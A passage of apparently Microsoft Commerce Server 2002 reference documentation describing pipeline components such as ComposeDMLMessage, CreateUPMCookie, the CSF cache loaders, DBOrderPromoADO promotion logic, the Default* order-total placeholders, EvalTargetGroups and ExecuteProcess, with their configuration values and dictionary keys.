
The ComposeDMLMessage component writes the following values to the Order dictionary.

Key | Description
cdo_result | The result code (an HRESULT) from the most recent CDO operation.
cdo_error | Optional. An error string from the most recent CDO operation, if any. NULL if there is no error.

Remarks

The ComposeDMLMessage component skips processing if the bypass flag (rcp_bypass) is True. Otherwise, it uses the Collaboration Data Objects (CDO) for Microsoft Windows 2000 to create the mail message. The component checks for errors after each CDO operation.

For non-personalized messages using a simple flat file, you can set the use_precomposed_body key to True. The component will load the message body from the precomposed_body key.

For personalized messages, the ComposeDMLMessage component uses the information gathered by the CreateUPMCookie component to create the cookie string.

The ComposeDMLMessage component can process multilingual messages using locale values from the Order dictionary (the rcp_locale key or the default_locale key). The locale values are passed to the CDO without checking. If no locale code is given, the CDO default locale is used.

If a file path is used for the rcp_url key or the default_url key, Direct Mailer preloads the content of the file (into the rcp_url_content key or the default_url_content key) in order to improve performance. In this case, message content is limited to 2 megabytes for plain ASCII text and to 1 megabyte for Unicode text.

See Also

AddAttachments

CreateUPMCookie

SendPrecomposedMessage

ThrottleDMLPerformance

VerifyMessageBody

VerifyRecipientData


CreateUPMCookie

Use this component to collect cookie data to pass to an Active Server Pages (ASP) page generating a personalized message.

Although the component appears as CreateUPMCookie in the Pipeline Editor, its ProgID is Commerce.DMLCreateUPMCookie.

Intended use: DirectMailer pipeline, Create Cookies stage.

Configuration Values

None.

Values Read

The CreateUPMCookie component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
rcp_personalize | Order | Optional. Numeric. Use this key to indicate whether or not to personalize the message for this recipient. The values are: 0 — Do not personalize 1 — Personalize The default is 1 (personalize).
cookie | Order | Optional. A reference to a dictionary to hold the created cookie. This key is created if it is not present.
rcp_guid | Order | Optional. The globally unique identifier (GUID) uniquely identifying this recipient, taken from the user profile.
rcp_email | Order | The e-mail address of the recipient.
css_site | Context | The site ID string.
campaign_item | Context | Optional. The campaign item ID.
campaign_item_name | Context | Optional. The name of the campaign item.
default_url_isfile | Context | This key is True if the defaultURL is a file path and not an http:// address.

Values Written

The CreateUPMCookie component writes the following values to the Order dictionary.

Key | Description
Cookie | A dictionary containing the information that will be used in the cookie.

Remarks

The CreateUPMCookie component does nothing if the rcp_bypass key is True, if the default_url_isfile key is True, or if the rcp_personalize key is zero (0).

The CreateUPMCookie component keeps the cookie information in a dictionary. The cookie string is produced by the ComposeDMLMessage component.

If the message is not personalized, the component creates a cookie entry (assigns YES to the key Microsoft_DirectMailer) to prevent the Collaboration Data Objects (CDO) from using a locally stored cookie.

The cookie string created from the data has the following format:

MSCSProfile='encryptedstring';CampaignItemID=string;CampaignItemName=string;UserEmail=string

The items in the cookie have the following meanings.

Item | Description
MSCSProfile | String. The user profile ID, which is needed for personalizing the message.
CampaignItemID | String. The Campaign item ID, which is necessary for click tracking.
CampaignItemNames | String. The Campaign item name, which allows labeling the message for the user.
UserEmail | String. The e-mail address of the user.

The abbreviations in the table are also the keys used in the Cookie dictionary.

The user profile ID is encrypted only when the e-mail is sent as part of the campaign. In a stand-alone Direct Mailer job, the user profile ID is not encrypted.

See Also

AddAttachments

ComposeDMLMessage

SendPrecomposedMessage

ThrottleDMLPerformance

VerifyMessageBody

VerifyRecipientData


CSFLoadAdvertisements

Use this component with the CacheManager object to load advertising content from a database.

Note

  • Although the CSFLoadAdvertisements component implements two pipeline component interfaces (IPipelineComponent and IPipelineComponentAdmin), it is not a pipeline component, it does not appear in the Pipeline Editor, and it cannot be used or configured in the Pipeline Editor.

Configuration Values

The following table describes the CSFLoadAdvertisements configuration values.

Box | Description
ConnectionString | The connection string for the campaigns database.
Query | The SQL query used to populate the cache of advertisements. Reading this property returns the default query unless it has been overridden with a custom query.
RedirectUrl | If specified, Commerce Server writes this value into the Cache dictionary unchanged. You do not need to set RedirectUrl in Commerce Server 2002, as Commerce Server 2002 takes the value for RedirectUrl from the CSFContext dictionary.

Values Read

None.

Values Written

None.

Remarks

You can use the CSFLoadAdvertisements component with the CacheManager object to load advertising content for use later in your application.

When run by the CacheManager object, the CSFLoadAdvertisements component uses two pipeline dictionaries (Order and Context) to determine how to run and how to return information to the CacheManager object.

The CSFLoadAdvertisements component first opens a connection to the database and gets the list of ads. The component uses a ContentListFactory object to populate a ContentList object with the data. The component then breaks the retrieved data into templates, target groups, and page groups.

The following table describes the columns in the ContentList object returned by the CSFLoadAdvertisements component. Column names appear in alphabetical order.

Column Name | Type | Flags
ad_type | short (CLCOL_I2) | 1 (CLCOL_READONLY)
ad_weight | Int (CLCOL_I4) | 1 (CLCOL_READONLY)
campaign_id | Int (CLCOL_I4) | 1 (CLCOL_READONLY)
customer_id | Int (CLCOL_I4) | 1 (CLCOL_READONLY)
date_end | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
date_start | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
days_of_week | short (CLCOL_I2) | 1 (CLCOL_READONLY)
eff_date_start | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
event_name | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
events_scheduled | Int (CLCOL_I4) | 1 (CLCOL_READONLY)
events_served | Int (CLCOL_I4) | 1 (CLCOL_READONLY)
exposure_limit | Int (CLCOL_I4) | 1 (CLCOL_READONLY)
Height | short (CLCOL_I2) | 1 (CLCOL_READONLY)
Industry | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
invalid_nod | Boolean (CLCOL_BOOL) | 0 (DEFAULT)
item_id | Int (CLCOL_I4) | 1 (CLCOL_READONLY)
Name | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
need_of_delivery | real (CLCOL_R4) | 0 (DEFAULT)
prev_events_served | Int (CLCOL_I4) | 1 (CLCOL_READONLY)
Score | real (CLCOL_R4) | 6 (CLCOL_PRIVATE | CLCOL_SCORE_COLUMN)
Size | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
target_groups | SafeArray (CLCOL_VARIANTARRAY) | 1 (CLCOL_READONLY)
Template | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
time_of_day_end | short (CLCOL_I2) | 1 (CLCOL_READONLY)
time_of_day_start | short (CLCOL_I2) | 1 (CLCOL_READONLY)
Values | IDispatch (CLCOL_DISPATCH) | 1 (CLCOL_READONLY)
Width | short (CLCOL_I2) | 1 (CLCOL_READONLY)

Abbreviations in the table are enumerated values for the ContentList object. For more information, see the Remarks section for ContentListSchema.ColumnType.

If necessary, you can add additional custom fields into the ContentListFactory cache by overriding the default query for CSFLoadadvertisements. Overriding the query is an advanced programming technique, and requires that you have detailed knowledge of SQL queries. Because the default query for CSFLoadAdvertisements is large and complex, you should use the following steps to avoid accidential changes to the query.

To modify the SQL query for CSFLoadAdvertisements

  1. In Visual Studio .NET, query the component for the default SQL query. The following code describes how to query a component for the default SQL query:
    function GetAdQuery
    set oLoad = CreateObject("Commerce.CSFLoadAdvertisements")
    set dictConfig = oLoad.GetConfigData()
    GetAdQuery = dictConfig.Query
end function
  2. Save the query to a file.
  3. Modify the saved copy of the query.

    You can add columns to the query. However, you should not remove existing columns, since removing existing columns may cause the advertising selection pipeline to fail. The query also contains placeholder strings such as "?" and "##GUIDGUIDGUIDGUIDGUIDGUIDGUIDGUIDGUID", which you should not alter or remove.

  4. Load the modified query from the file to the component at runtime. One way to load the query would be to use the Scripting.FileSystemObject object.
  5. Use the SetConfigData method from IPipelineComponentAdmin to set the new query property.

Example

See the example in CacheManager Object.


CSFLoadDiscounts

Use this component with the CacheManager object to load discounts for the Content Selection Framework.

Note

  • Although the CSFLoadDiscounts component implements two pipeline component interfaces (IPipelineComponent and IPipelineComponentAdmin), it is not a pipeline component, it does not appear in the Pipeline Editor, and cannot be used or configured in the Pipeline Editor.

Configuration Values

The following table describes the CSFLoadDiscounts configuration values.

Box | Description
ConnectionString | The connection string for the campaigns database.
Query | The SQL query used to populate the cache of discounts. Reading this property returns the default query unless it has been overridden with a custom query.
RedirectUrl | If specified, Commerce Server writes this value into the Cache dictionary unchanged. You do not need to set RedirectUrl in Commerce Server 2002, as Commerce Server 2002 takes the value for RedirectUrl from the Cache dictionary.

Values Read

None.

Values Written

None.

Remarks

You can use the CSFLoadDiscounts component with the CacheManager object to load discounts for use later in your application.

When run by the CacheManager object, the CSFLoadDiscounts component uses two pipeline dictionaries (Order and Context) to determine how to run and how to return information to the CacheManager object.

The CSFLoadDiscounts component first opens a connection to the database and gets the list of discounts. The component uses a ContentListFactory object to populate a ContentList object with the data. The component then extracts templates, target groups, and page groups from the retrieved information.

The following table describes the columns in the ContentList object returned by the CSFLoadDiscounts component. Column names appear in alphabetical order.

Column Name | Type | Flags
award_expr | int (CLCOL_I4) | 1 (CLCOL_READONLY)
award_max | int (CLCOL_I4) | 1 (CLCOL_READONLY)
campaign_id | int (CLCOL_I4) | 1 (CLCOL_READONLY)
click_required | Boolean (CLCOL_BOOL) | 1 (CLCOL_READONLY)
condition_basis | int (CLCOL_I4) | 1 (CLCOL_READONLY)
condition_expr | int (CLCOL_I4) | 1 (CLCOL_READONLY)
condition_mny_min | Currency (CLCOL_CY) | 1 (CLCOL_READONLY)
condition_qty_min | int (CLCOL_I4) | 1 (CLCOL_READONLY)
date_end | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
date_modified | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
date_start | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
description | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
disc_id | int (CLCOL_I4) | 1 (CLCOL_READONLY)
disjoint | Boolean (CLCOL_BOOL) | 1 (CLCOL_READONLY)
exposure_limit | int (CLCOL_I4) | 1 (CLCOL_READONLY)
expressions_used_for_display | Boolean (CLCOL_BOOL) | 1 (CLCOL_READONLY)
height | short (CLCOL_I2) | 1 (CLCOL_READONLY)
item_id | int (CLCOL_I4) | 1 (CLCOL_READONLY)
limit | int (CLCOL_I4) | 1 (CLCOL_READONLY)
name | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
offer_type | int (CLCOL_I4) | 1 (CLCOL_READONLY)
offer_value | Currency (CLCOL_CY) | 1 (CLCOL_READONLY)
order_level | Boolean (CLCOL_BOOL) | 1 (CLCOL_READONLY)
pagegroups | SafeArray (CLCOL_VARIANTARRAY) | 1 (CLCOL_READONLY)
rank | int (CLCOL_I4) | 1 (CLCOL_READONLY)
required_exprs | SafeArray (CLCOL_VARIANTARRAY) | 1 (CLCOL_READONLY)
score | real (CLCOL_R4) | 6 (CLCOL_PRIVATE | CLCOL_SCORE_COLUMN)
size | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
special_offer_type | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
target_groups | SafeArray (CLCOL_VARIANTARRAY) | 1 (CLCOL_READONLY)
template | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
width | short (CLCOL_I2) | 1 (CLCOL_READONLY)

Abbreviations in the table are enumerated values for the ContentList object. For more information, see the Remarks section in ContentListSchema.ColumnType.

If necessary, you can add additional custom fields into the ContentListFactory cache by overriding the default query for CSFLoadDiscounts. Overriding the query is an advanced programming technique, and requires that you have detailed knowledge of SQL queries. Because the default query for CSFLoadAdvertisements is large and complex, you should use the following steps to avoid accidential changes to the query.

To modify the SQL query for CSFLoadAdvertisements

  1. In Visual Studio .NET, query the component for the default SQL query. The following code describes how to query a component for the default SQL query:
    function GetDiscountQuery
    set oLoad = CreateObject("Commerce.CSFLoadDiscounts")
    set dictConfig = oLoad.GetConfigData()
    GetAdQuery = dictConfig.Query
end function
  2. Save the query to a file.
  3. Modify the saved copy of the query.

    You can add columns to the query. However, you should not remove existing columns, as removing existing columns may cause the advertising selection pipeline to fail. The query also contains placeholder strings such as "?" and "##GUIDGUIDGUIDGUIDGUIDGUIDGUIDGUIDGUID", which you should not alter or remove.

  4. Load the modified query from the file to the component at runtime. One way to load the query would be to use the Scripting.FileSystemObject object.
  5. Use the SetConfigData method from IPipelineComponentAdmin to set the new query property.

Example

See the example in CacheManager Object.


CSFWriteEvents

Use this component with the CacheManager object to log event content from the Content Selection Framework.

Note

  • Although the CSFWriteEvents component implements two pipeline component interfaces (IPipelineComponent and IPipelineComponentAdmin), it is not a pipeline component, it does not appear in the Pipeline Editor, and cannot be used or configured in the Pipeline Editor.

Configuration Values

You can determine how the CSFWriteEvents component runs by setting component properties. Use the following box on the CSFWriteEvents tab of the Component Properties dialog box to determine this information.

Box | Description
Connection String | The connection string used to connect to the database. This may be a full connection string or a name in a connection map. If blank, the default connection string is passed.

Values Read

The CSFWriteEvents component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_performance | Order | The previous event delta count for the various content items.

Values Written

None.

Remarks

You can use the CSFWriteEvents component with the CacheManager object to save event information in the database for later adjustment of advertising and other campaign schedules.

When run by the CacheManager object, the CSFWriteEvents component uses two pipeline dictionaries (Order and Context) to determine how to run and how to return information to the CacheManager object.

The CSFWriteEvents component first opens a connection to the database. It then writes the event data to the database using information stored in the Performance dictionary.

Example

See the example in CacheManager Object.


DBOrderPromoADO

Use this component to run a query to retrieve data about price promotions from the database and to adjust item prices accordingly.

Intended use: Order Processing pipeline, Order Adjust Price stage.

Note

  • The DBOrderPromoADO component should not be used for future development. The discount features of the Content Selection pipeline provide a more powerful and general mechanism for applying product discounts. For more information, see Discount Objects.

Configuration Values

You can determine where the DBOrderPromoADO component retrieves the document and where it writes the result by setting component properties. Use the following boxes on the DB Order Promo (ADO) tab of the Component Properties dialog box to determine this information.

Box | Description
Query | Type either the full SQL text of the query run by this component or the name of a query whose full SQL text is defined in the Global.asa file.
Connection string | Type the connection string to connect to the database. This may be a full data source name (DSN) or a name in a connection map. If blank, the default connection string is used.

Values Read

The DBOrderPromoADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._iadjust_currentprice | Order | The current price of the item before the promotion is applied.
item._product_* | Order | Optional. The product properties for each item.
_shopper_* | Order | Optional. The shopper properties.
item._n_unadjusted | Order | Optional. The quantity of line items that have not been discounted.
item.quantity | Order | The quantity of the item ordered.
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default query string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

The DBOrderPromoADO component writes the following values to the Order dictionary.

Key | Description
item._oadjust_adjustedprice | The total price of all the items after all the discounts have been applied. May have been adjusted by the application of a promotion.
item._n_unadjusted | The quantity of line items that have not been discounted. May have been adjusted by the application of a promotion.

Remarks

The DBOrderPromoADO component runs a query to determine if the promotional conditions defined in a database table have been met by items in the order form. If they have, the DBOrderPromoADO component applies the promotion to the OrderForm object by initializing item._oadjust_adjustedprice and item._n_unadjusted keys for the item affected by the promotion.

The item._oadjust_adjustedprice key reflects the total cost of a given item, adjusted for promotions. The item._n_unadjusted key contains the number of items that were not affected by the promotion.

Suppose, for example, that you define a promotion in which a user who purchases one of Item A gets one of Item B at half-price. Suppose further that the following conditions exist:

  • The user has purchased one of Item A.
  • The user has purchased three of Item B.
  • Item B has a regular price of 1.00.

When the DBOrderPromoADO component is run, the user will, by the terms of the promotion, get two of the items at the regular price of 1.00. However, the user will get the third item at 50 percent off. Thus, the item._oadjust_adjustedprice key for Item B will be 2.50.

In addition, because only one of the three Item B products will have been promotionally adjusted, the item._n_unadjusted key will be set to two. This is critical, because once an item has had its price adjusted, the price cannot be adjusted again.

In this example, one of Item B had its price adjusted. The other two Item B items did not. Consequently, no matter how many of the three items qualify for a promotional adjustment under a later DBOrderPromoADO component, only the two previously unadjusted Item B items can be adjusted.

Because the DBOrderPromoADO component expects the query that you supply to reference a specific group of table columns, the table in which you store promotions must have a given structure.

The database query must return the following columns not marked as Optional:

Database Column | Description
cond_column | This column contains the name of the item attribute against which the promotion condition is checked.
cond_op | A comparison operator that compares cond_column to cond_value; for example = or <>.
cond_value A value that identifies the item being promoted. For example, if the cond_column is _product_pfid, the cond_op is "=" and the cond_value is 22; then an item in the items list with a _product_pfid that evaluates to 22 meets the condition set.

If this value is a number, it must be an integer value; floating-point numbers (for example, 10.0) are not accepted.
cond_all | Optional. If set to 1 (True), any product in the set of products to be purchased will trigger this promotion. Otherwise, this promotion will be triggered only by products that meet the criteria defined in cond_column, cond_op, and cond_value (the condition set). Products are removed from the condition and award sets after they have been involved in a promotion to prevent a single product from being a participant in multiple promotions.
award_column | The award_column, coupled with the award_op and award_value columns, define the award set for the promotion. The award column contains a value indicating the key and value that defines the award criteria.
award_op | A comparison operator that compares award_column with award_value; for example = or <>.
award_value | This column indicates the value of the element referenced by the award_column column.
award_all | Optional. If set to 1 (True), then the award can be applied to any product. Otherwise, this award will be applied only to products that meet the criteria defined in the award_column, award_op, and award_value columns (the award set).
shopper_column | A value indicating the user-specific information. This can be a wildcard value (@) that indicates all users are eligible for the promotion.
shopper_op | This column should be set to = if a user is specified; otherwise, it is a wildcard value (@).
shopper_value | A value indicating the type of user; if it is any user, set it to a wildcard value (@).
shopper_all | Optional. This column indicates whether this promotion is available to all users. If this value is 0 (False), the promotion is available only to users who meet the criteria defined in the shopper_column, shopper_op, and shopper_value columns.
cond_min | This column contains a value, in cents (or other currency unit), or the number of units of the minimum purchase necessary to be eligible for the promotion. The interpretation of the cond_min column depends on the value referenced in the cond_basis column. For example, if the cond_basis column contains "P", the cond_min column is assumed to measure price. If the cond_basis column contains "Q", the cond_min column is assumed to measure quantity.
cond_basis | A value indicating whether the cond_min column is measured in price or quantity (P or Q, respectively).
award_max | The size of the award set.
disjoint_cond_award The column contains a number (1 or 0) indicating whether the award can be "disjointed." If the value is 0, the award is disjointed; otherwise, it is not. The term disjointed, in this context, refers to whether or not an item can promote itself. Where the condition set and the award set do not refer to the same item, this value is ignored.

Suppose, for example, that you have a promotion that dictates that if you purchase one of Item A, you get one of Item A at fifty percent off.

If the award is not disjointed (the column disjoint_cond_award is equal to 0), then a user needs to purchase only one of Item A to get that item at fifty percent off. If the award is disjointed (the column disjoint_cond_award is equal to 1), then a user purchasing Item A will get a second Item A at fifty percent off, but will receive no discount until the second item is added to the basket.
disc_value | A number indicating the amount of the discount.
disc_type | A type of discount, either a percent (%) or a currency ($) symbol.
date_start | Optional field. The date the promotion begins, at one second after midnight.
date_end | Optional field. The date the promotion ends, at one second after midnight. Because the date_start and date_end columns are actually date-time pairs that specify midnight, the date_end column excludes the date specified.
Connection String | The DSN connection string to be used to connect to the database.

An order promotion has three criteria: the user criterion, a condition criterion, and an award criterion. If the user does not match the user criterion, the promotion is not applied. If the user does match the user criterion, then the other two criteria are applied to all the items in the order, producing two sets: the condition set (those matching the condition criterion) and the award set (those matching the award criterion).


DefaultHandlingCy, DefaultHandling

Use these components as placeholder handling components. They initialize the total handling for an order to zero (0).

The DefaultHandling component is for backward compatibility only. The DefaultHandlingCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Handling stage.

Configuration Values

None.

Values Read

None.

Values Written

The DefaultHandlingCy component assigns a value to the following key in the Order dictionary. The DefaultHandling component assigns a value to the same key but without cy_.

Key | Description
order._cy_handling_total | The total cost for handling the order.

Remarks

The DefaultHandlingCy and DefaultHandling components assign zero (0) to the total handling cost in the Order dictionary. They are placeholder components that are replaced by other handling components in actual use.


DefaultItemPriceCy, DefaultItemPrice

Use these components to set the regular price of an item to the list price returned by components such as QueryCatalogInfo or QueryProdInfoADO.

The DefaultItemPrice component is for backward compatibility only. The DefaultItemPriceCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Item Price stage.

Configuration Values

None.

Values Read

The DefaultItemPriceCy component reads the following values from the indicated dictionaries. The DefaultItemPrice component reads the same value but without cy_.

Key | Dictionary | Description
item._product_cy_list_price | Order | The list price for the item as returned by a component such as QueryCatalogInfo or QueryProdInfoADO.

Values Written

The DefaultItemPriceCy component assigns a value to the following key in the Order dictionary. The DefaultItemPrice component assigns a value to the same key but without cy_.

Key | Description
item._cy_iadjust_regularprice | The regular price of the item.

Remarks

The DefaultItemPriceCy and DefaultItemPrice components perform the same actions although on different dictionary keys. The following discussion uses the keys for DefaultItemPriceCy.

To set the regular price to a price other than the list price, replace these components in the pipeline.

For each item in the order form (each item in the items collection), the DefaultItemPriceCy component assigns the _iadjust_regularprice key to the value stored in the _cy_product_list_price key for the item. The regular price is typically set by the QueryCatalogInfo or QueryProdInfoADO components in the Product Info stage.

If the QueryCatalogInfo or QueryProdInfoADO components do not retrieve the list price, the Item dictionary will not contain the _product_list_price key. In this case, you need to add a component (a Scriptor, for example) to retrieve the list prices so that the DefaultItemPrice component can initialize the _iadjust_regularprice key.

Stages that follow the Item Price stage in the pipeline contain components that depend on the _iadjust_regularprice key being set. If this key does not have a value, these components fail. The RequiredItemPrice component ensures that the values exist.

See Also

QueryCatalogInfo

QueryProdInfoADO

RequiredItemPriceCy, RequiredItemPrice


DefaultOrderSubTotalCy, DefaultOrderSubTotal

Use these components to calculate the subtotal for an order.

The DefaultOrderSubTotal component is for backward compatibility only. The DefaultOrderSubTotalCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Order Subtotal stage.

Configuration Values

None.

Values Read

The DefaultOrderSubTotalCy component reads the following values from the indicated dictionaries. The DefaultOrderSubTotal component reads the same key but without cy_.

Key | Dictionary | Description
item._cy_oadjust_adjustedprice | Order | The total price of all the items after all the discounts have been applied.

Values Written

The DefaultOrderSubTotalCy component assigns a value to the following key in the Order dictionary. The DefaultOrderSubTotal component assigns to the same key but without cy_.

Key | Description
_cy_oadjust_subtotal | The subtotal of all the items.

Remarks

The subtotal is calculated by summing the total cost for each item in the items SimpleList object in the OrderForm object.


DefaultPayment

Use this component to assign a default value to the payment authorization code. This component is usually replaced by a third-party payment component.

Note

  • The DefaultPayment component does not follow the component coordination rules. The component always sets the payment authorization code.

Intended use: Order Processing pipeline, Payment stage.

Configuration Values

None.

Values Read

None.

Values Written

The DefaultPayment component assigns a value to the following key in the Order dictionary.

Key | Description
_payment_auth_code | The payment authorization code.

Remarks

The DefaultPayment component assigns the value FAITH, a string, as the default authorization code.


DefaultShippingCy, DefaultShipping

Use these components as placeholder shipping components. The components set the shipping cost to zero (0).

The DefaultShipping component is for backward compatibility only. The DefaultShippingCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Note

  • The DefaultShippingCy and DefaultShipping components do not follow the component coordination rules. The components always zero the shipping total.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

None.

Values Read

None.

Values Written

The DefaultShippingCy component assigns a value to the following key in the Order dictionary. DefaultShipping assigns a value to the same key but without cy_.

Key | Description
_cy_shipping_total | The total cost for shipping the order.

Remarks

The DefaultShippingCy and DefaultShipping components set the shipping total to zero (0).


DefaultShopperInfo

Use this component to move information from the Shopper dictionary in the Context dictionary of the pipeline to the OrderForm.

Intended use: Order Processing pipeline, Shopper Information stage.

Configuration Values

None.

Values Read

The DefaultShopperInfo component reads the following value from the indicated dictionary.

Key | Dictionary | Description
Shopper | Context | The dictionary containing user information.

Values Written

The DefaultShopperInfo component reads the values of all keys in the Shopper dictionary and creates corresponding keys, prefixed with _shopper_ and with the same values, in the OrderForm object.

Remarks

If there is no Shopper dictionary in the Context dictionary, the component does nothing.


DefaultTaxCy, DefaultTax

Use these components to set the tax fields of the order to zero (0). These components are usually replaced by third-party tax components.

The DefaultTax component is for backward compatibility only. The DefaultTaxCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Note

  • The DefaultTaxCy and DefaultTax components do not follow the component coordination rules. The components always set the total tax and the tax included in the order subtotal to zero (0).

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

None.

Values Read

None.

Values Written

The DefaultTaxCy component assigns values to the following keys in the Order dictionary. The DefaultTax component assigns a value to the same keys but without cy_.

Key | Description
_cy_tax_total | The total tax for the order.
_cy_tax_included | The amount of tax already included in the subtotal of the order.

Remarks

The components set the tax fields to zero (0).


DefaultTotalCy, DefaultTotal

Use these components to calculate the order total from the subtotals.

The DefaultTotal component is for backward compatibility only. The DefaultTotalCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Order Total stage.

Configuration Values

None.

Values Read

The DefaultTotalCy component reads the following values from the indicated dictionaries. The DefaultTotal component reads the same keys but without cy_.

Key | Dictionary | Description
_cy_oadjust_subtotal | Order | The subtotal of all of the items in the items list. Set by the DefaultSubTotal component.
_cy_shipping_total | Order | The total shipping cost for the items.
_cy_tax_total | Order | The total tax for the order.
_cy_handling_total | Order | The total cost for handling the order.

Values Written

The DefaultTotalCy component assigns a value to the following key in the Order dictionary. The DefaultTotal component assigns a value to the same key but without cy_.

Key | Description
_cy_total_total | The complete total for the order.

Remarks

These components verify that all four totals on the order have been set.

If all four values exist, they are added together and assigned to the complete total in the Order dictionary.

If any value is missing, the component stops and returns an error.


EvalTargetGroups

Use this component to target particular groups for advertising, content selection, and discounts. The component evaluates a list of expressions for each item in a list and adjusts item selection scores.

Intended use: Content Selection pipeline, Score stage.

Configuration Values

You can determine how the EvalTargetGroups component evaluates targeting expressions by setting component properties. Use the following boxes on the Eval Expressions tab of the Component Properties dialog box evaluate this information.

Row | Column | Description
Target | Match | The multiplier applied when a target expression evaluates to True. The default is 1 (one).
 | Mismatch | The multiplier applied when a target expression evaluates to False. The default is 1 (one).
Require | Match | The multiplier applied when a require expression evaluates to True. The default is 1 (one).
 | Mismatch | The multiplier applied when a require expression evaluates to False. The default is 0 (zero).
Exclude | Match | The multiplier applied when an exclude expression evaluates to True. The default is 0 (zero).
 | Mismatch | The multiplier applied when an exclude expression evaluates to False. The default is 1 (one).

Values Read

The EvalTargetGroups component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_content | Order | A reference to a ContentList object. Specifically, the target_groups field of the content items are read. The target_groups field contains an array of IDs of the target groups associated with each content item.
TargetGroups Context A dictionary of SimpleList objects. The keys are target group identifiers. Each SimpleList object contains expression name and action pairs, stored in alternating entries: the first expression name at index 0, first action at index 1; second expression name at index 2, second action at index 3; and so on.

Actions are numbers with the following meanings:

1 — Target
2 — Require
3 — Exclude
4 — Exclusive (Sponsorship)
Evaluator | Context | A reference to the ExpressionEval component to use.
ContextProfile | Context | Optional. The ContentSelector object (a dictionary) for use in expression evaluation. The dictionary contains values to test against context profile expressions entered through Commerce Server Business Desk.
UserProfile | Context | Optional. A reference to a ProfileObject object containing the profile for the current user. Used as the "UserObject" profile in evaluating the expressions.
Trace | Context | Optional. A Boolean indicating whether score adjustment tracing is enabled. This component will not produce trace strings unless this key is set to True.

Values Written

The EvalTargetGroups component writes the following values to the Order dictionary.

Key | Description
_content | A reference to a ContentList object with any required adjustments made to the score fields of content items.

Remarks

The EvalTargetGroups component evaluates all of the listed target expressions for each of the content items in the list. If the expression is True, then it will apply the Match value multiplier for the indicated action, one of Target, Require, or Exclude. Similarly, if the expression is False, then it applies the Mismatch multiplier for the specified action.

A content item may have more than one target expression that applies to it. Because of this, all target expressions are evaluated for a content item but only the expression that produces the largest multiplier is applied.

Each action corresponds to a pair of multipliers. One of the multipliers is applied to the score of content items in the ContentList object. A multiplier in the pair is chosen based on the outcome of the expression: True or False.

Sponsorship is handled differently. The Sponsorship action is not a score multiplier. Rather, if any target group contains a Sponsorship expression that evaluates to True, then all target groups that do not contain a Sponsorship expression that evaluates to True are disqualified.

If an expression produces an undefined value, then the multiplier applied depends on the action associated with the expression:

Action | Multiplier Applied
Target | Mismatch multiplier
Require | Mismatch multiplier
Exclude | Match multiplier
Sponsorship | 0 (zero)

An example of an undefined expression value would be an expression that depends on the age of the user when the age of the user is unknown.

The EvalTargetGroups and ExpressionEval components both use result caching for high performance. If multiple target groups reference the same expression, the expression is evaluated only once and subsequently the cached result is used. Similarly, if multiple content items reference the same target group, the target group is evaluated only once and subsequently the cached results are used.

This component uses the ExpressionEval object to evaluate expressions.

The behavior of the PenalizeUnmatchedTargets property of the Site Server 3.0 Commerce Edition AdServer component can be replicated by changing the multiplier for Target/Mismatch to 0.95.

See Also

ExpressionEval Object


ExecuteProcess

Use this component to run an external executable file.

Intended use: Any pipeline, any stage.

Configuration Values

You can determine where the ExecuteProcess component retrieves the document and where it writes the result by setting component properties. Use the following boxes on the Execute Process tab of the Component Properties dialog box to determine this information.

Box | Description
Path Name of the executable | The complete path to the executable file to be run by this component. To locate the file, click Browse.
Arguments to the executable | The arguments to pass to the executable file. The argument may contain %1 which is replaced by the value in the OrderForm object whose name appears in the Field Name of substitutable parameter box.
Field Name of substitutable parameter | Optional. The key in the OrderForm whose value is substituted for the %1 argument and passed to the executable file.

Values Read

The value in the Order dictionary whose key is specified in the Field Name of substitutable parameter box.

Values Written

None.

Remarks

The ExecuteProcess component runs an executable file.


FilterContent

Use this component to apply provided filters to a content list in a Content Selection pipeline (CSP).

Intended use: Content Selection pipeline, Filter stage.

Configuration Values

None.

Values Read

The FilterContent pipeline component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
FilterRequire | Order | A Dictionary object specifying fields (as keys) and corresponding values that a content item must have in order to avoid having its score set to zero (0).
FilterExclude | Order | A Dictionary object specifying fields (as keys) and corresponding values that a content item must not possess in order to avoid having its score set to zero (0).
